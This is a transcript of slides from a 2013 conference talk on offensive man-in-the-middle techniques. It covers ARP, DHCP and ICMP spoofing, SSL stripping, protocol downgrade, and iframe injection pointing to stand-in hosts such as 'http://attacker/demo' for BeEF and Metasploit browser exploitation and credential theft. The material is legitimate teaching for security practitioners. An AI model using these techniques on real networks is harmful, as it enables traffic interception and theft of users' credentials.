Recomendados
Más contenido relacionado
La actualidad más candente
La actualidad más candente (20)
Similar a Offensive MitM
Similar a Offensive MitM (20)
Más de navajanegra
Más de navajanegra (20)
Último
Último (20)
Offensive MitM
- 1. Offensive Man-in-the-Middle Navaja Negra - Albacete Octubre 2013
- 2. $ whois jselvi Jose Selvi 10 years working in Security Senior Penetration Tester at SANS Institute Community Instructor GIAC Security Expert (GSE) Twitter: @JoseSelvi Blog: http://www.pentester.es
- 3. Disclaimer! No user was (very) harmed in the making of this speach
- 4. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation
- 7. ARP Spoofing WHO’S THE ROUTER? I’M THE ROUTER!
- 8. DHCP Spoofing I WANT AN IP YOUR IP IS...
- 9. ICMP Redirect A NEW ROUTE FOR YOU
- 10. Much more... DNS Spoofing Port Stealing STP Mangling Route Mangling ... Even Social Engineering...
- 11. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation
- 12. Just Sniffing...
- 14. Password Capture
- 15. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation
- 17. Downgrade Attack Y dice “a relaxing cup of cafe con leche” la tia... Calla, calla... que yo les he dejado dinero...
- 18. The SSHv1 Example I can speak just v1 I can speak v1 & v2 Client Attacker SSHv1 OK, Let’s talk SSHv1 Server
- 19. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation
- 21. SSL Strip http://www.thoughtcrime.org/software/sslstrip/ By Moxie Marlinspike Transparent proxy HTTP to HTTPS Gateway sed ‘s/https/http/g’ Usually all starts with an HTTP connection
- 22. SSL Strip GET / HTTP/1.1 HTTP Client Attacker Server HTTPS <body> <img src=whatever.jpg> <a href = https://myweb/login> http://myweb/login> </body>
- 23. DEMO
- 24. SSL Vulnerabilities BEAST / CRIME By Juliano Rizzo, Thai Duong BREACH By Angel Prado, Neal Harris, Yoel Gluck Based on compression characteristics before encryption. Chosen plaintext attack It can decrypt secrets (cookie, csrf-token, etc).
- 25. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation
- 27. The “K” Factor <body> <img src=whatever.jpg> <iframe src=http://hacker/> </body>
- 28. The Middler https://code.google.com/p/middler/ By InGuardians Transparent HTTP & SIP Proxy Plugin based: Easy & Powerful IFrame Injection Last release from July 2009 Some fixes are needed... but... that is why Python r00l3z :)
- 30. Burp Suite / The Middler GET / HTTP/1.1 HTTP Attacker Client Server HTTP <body> <img src=whatever.jpg> <iframe src=http://hacker/> </body>
- 31. Burp Suite http://portswigger.net/burp/ By PortSwigger General interception proxy Support transparent proxy Support match/replace function Best option if you have the Pro version If not... you will lose your configuration when closing
- 32. Burp Suite
- 33. DEMO
- 34. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation
- 35. BeEF & Metasploit BeEF: Browser Exploitation Framework http://beefproject.com/ Metasploit Framework http://www.metasploit.com/
- 36. BeEF & MSF BeEF MSF GOOGLE <iframe src= http://attacker/demo VICTIM
- 37. What to do Fingerprinting Redirect to another page Capture NTLM SMB Relay Attacks Credential Theft Request software installation
- 38. DEMO
- 39. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation
- 40. Browser Vulnerabilities 2012 Internet Explorer: 34 Mozilla Firefox: 99 Google Chrome: 68 Java Plugin: 32 Adobe Flash: 61 Adobe Reader: 25 http://www.gfi.com/blog/wp-content/ uploads/2013/02/Most-TargetedApplications-in-2012.jpg
- 42. DEMO
- 43. Let’s Go! Man-in-the-Middle 101 The Passive approach Downgrade Attacks SSL Bypass On-the-fly content injection Cheating up users Browser exploitation